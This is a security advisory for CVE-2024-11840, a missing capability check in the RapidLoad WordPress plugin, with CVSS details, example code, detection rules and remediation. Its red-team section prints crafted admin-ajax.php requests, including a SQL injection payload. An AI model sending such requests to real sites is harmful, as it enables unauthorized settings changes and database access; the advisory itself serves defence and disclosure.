CVE-2024-11840

Executive Summary

CVE-2024-11840 is a critical missing capability check vulnerability in the RapidLoad – Optimize Web Vitals Automatically WordPress plugin, affecting all versions up to and including 2.4.2. This flaw allows authenticated attackers with Subscriber-level access or higher to perform unauthorized data access and modification. The vulnerability impacts multiple AJAX functions, including uucss_data, update_rapidload_settings, wp_ajax_update_htaccess_file, uucss_update_rule, upload_rules, get_all_rules, update_titan_settings, preload_page, and activate_module. Exploitation can lead to plugin settings modification or SQL injection attacks, posing a significant risk to WordPress site integrity and data confidentiality.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. No supply chain compromise has been identified, but the lack of a patch increases the risk of widespread exploitation. Site administrators should verify plugin integrity and consider temporary removal until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Subscriber-level access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: None (A:N)

The high confidentiality and integrity impacts, combined with low attack complexity and minimal privileges required, make this a severe threat. The absence of a patch amplifies the risk.

Deep Dive & Mechanics

The vulnerability stems from missing capability checks in several AJAX handlers within the RapidLoad plugin. WordPress AJAX actions are typically protected by current_user_can() checks to ensure only authorized users (e.g., administrators) can perform sensitive operations. In this case, the following functions lack proper authorization:

• uucss_data: Retrieves and modifies CSS optimization data.
• update_rapidload_settings: Updates plugin configuration.
• wp_ajax_update_htaccess_file: Modifies the .htaccess file.
• uucss_update_rule: Updates CSS rules.
• upload_rules: Uploads custom rules.
• get_all_rules: Retrieves all rules.
• update_titan_settings: Modifies Titan (caching) settings.
• preload_page: Triggers page preloading.
• activate_module: Activates/deactivates plugin modules.

An attacker with Subscriber-level access can craft AJAX requests to these endpoints, bypassing intended privilege restrictions. This can lead to:

1. Plugin Settings Modification: Changing caching, optimization, or security settings.
2. SQL Injection: If user-supplied data is not sanitized in these functions, attackers can inject malicious SQL queries, potentially extracting or modifying database contents.

The vulnerability is exploitable without any special conditions beyond having a valid WordPress user account with Subscriber role.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is present in all versions up to 2.4.2. The missing capability check is the core issue. A patched version would include checks like:

// Vulnerable code (missing capability check)
add_action('wp_ajax_uucss_data', 'handle_uucss_data');
function handle_uucss_data() {
    // Process request without checking user capabilities
}

// Patched code (with capability check)
add_action('wp_ajax_uucss_data', 'handle_uucss_data');
function handle_uucss_data() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // Process request
}

The same pattern applies to all affected functions. Without a patch, administrators must implement virtual patching or disable the plugin.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with RapidLoad plugin version <= 2.4.2.
• A valid user account with Subscriber role (e.g., username: attacker, password: password123).

Exploitation Steps:

1. Authenticate and obtain a nonce (if required by the AJAX handler). For simplicity, assume the nonce is not enforced or can be obtained from the page source.

2. Craft an AJAX request to modify plugin settings (e.g., disable caching):

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: wordpress_logged_in_<hash>=attacker|...
   
   action=update_rapidload_settings&rapidload_options[enable_caching]=0
   

3. Exploit SQL injection (if present in uucss_update_rule):

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: wordpress_logged_in_<hash>=attacker|...
   
   action=uucss_update_rule&rule_id=1&rule_value=1' OR '1'='1
   

Expected Outcome: The attacker can disable caching, modify rules, or extract database information.

Blue Team

Detection and Response:

1. Monitor AJAX requests to the vulnerable endpoints (admin-ajax.php with actions like update_rapidload_settings, uucss_data, etc.) from non-admin users.
2. Check for unexpected changes in plugin settings or .htaccess file modifications.
3. Review database logs for suspicious SQL queries originating from the plugin.
4. Implement virtual patching using a Web Application Firewall (WAF) to block requests to these endpoints from low-privilege users.

Lab Setup for Testing:

• Use a local WordPress installation (e.g., via Docker) with RapidLoad plugin version 2.4.2.
• Create a Subscriber user and test the exploitation steps in a controlled environment.
• Monitor logs and network traffic to understand the attack pattern.

Indicators of Compromise (IOCs)

• Network IOCs:

  • AJAX requests to /wp-admin/admin-ajax.php with actions: uucss_data, update_rapidload_settings, wp_ajax_update_htaccess_file, uucss_update_rule, upload_rules, get_all_rules, update_titan_settings, preload_page, activate_module.
  • Unusual SQL queries in database logs (e.g., SELECT * FROM wp_options WHERE option_name LIKE '%rapidload%').

• File IOCs:

  • Modified .htaccess file with unexpected rules.
  • Changes to wp-content/plugins/rapidload/ directory files.

• System IOCs:

  • Unexpected changes in WordPress options table (wp_options) for RapidLoad settings.
  • New or modified cron jobs related to page preloading.

Detection Engineering

YARA Rule

rule Detect_RapidLoad_Missing_Capability_Check {
    meta:
        description = "Detects RapidLoad plugin files missing capability checks"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-11840"
    strings:
        $ajax_action = /add_action\s*\(\s*['\"]wp_ajax_(uucss_data|update_rapidload_settings|wp_ajax_update_htaccess_file|uucss_update_rule|upload_rules|get_all_rules|update_titan_settings|preload_page|activate_module)['\"]/
        $missing_check = /current_user_can/
    condition:
        $ajax_action and not $missing_check
}

Sigma Rule

title: RapidLoad Plugin Missing Capability Check Exploitation
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2024-11840 via AJAX requests
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains:
            - 'action=uucss_data'
            - 'action=update_rapidload_settings'
            - 'action=wp_ajax_update_htaccess_file'
            - 'action=uucss_update_rule'
            - 'action=upload_rules'
            - 'action=get_all_rules'
            - 'action=update_titan_settings'
            - 'action=preload_page'
            - 'action=activate_module'
    condition: selection
falsepositives:
    - Legitimate admin actions (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11840 RapidLoad Missing Capability Check Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action="; http_client_body; pcre:"/(uucss_data|update_rapidload_settings|wp_ajax_update_htaccess_file|uucss_update_rule|upload_rules|get_all_rules|update_titan_settings|preload_page|activate_module)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the RapidLoad plugin until a patched version is released.
2. Implement virtual patching via WAF rules to block AJAX requests to the vulnerable endpoints from non-admin users.
3. Review user roles and remove any unnecessary Subscriber accounts.

Long-term Fix:

• Monitor the RapidLoad plugin repository for a security update. Once available, update to the patched version immediately.
• Consider switching to an alternative WordPress optimization plugin with better security practices.

Detection and Monitoring:

• Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
• Enable detailed logging for WordPress AJAX requests and database queries.

Valters IT
Securing Digital Frontiers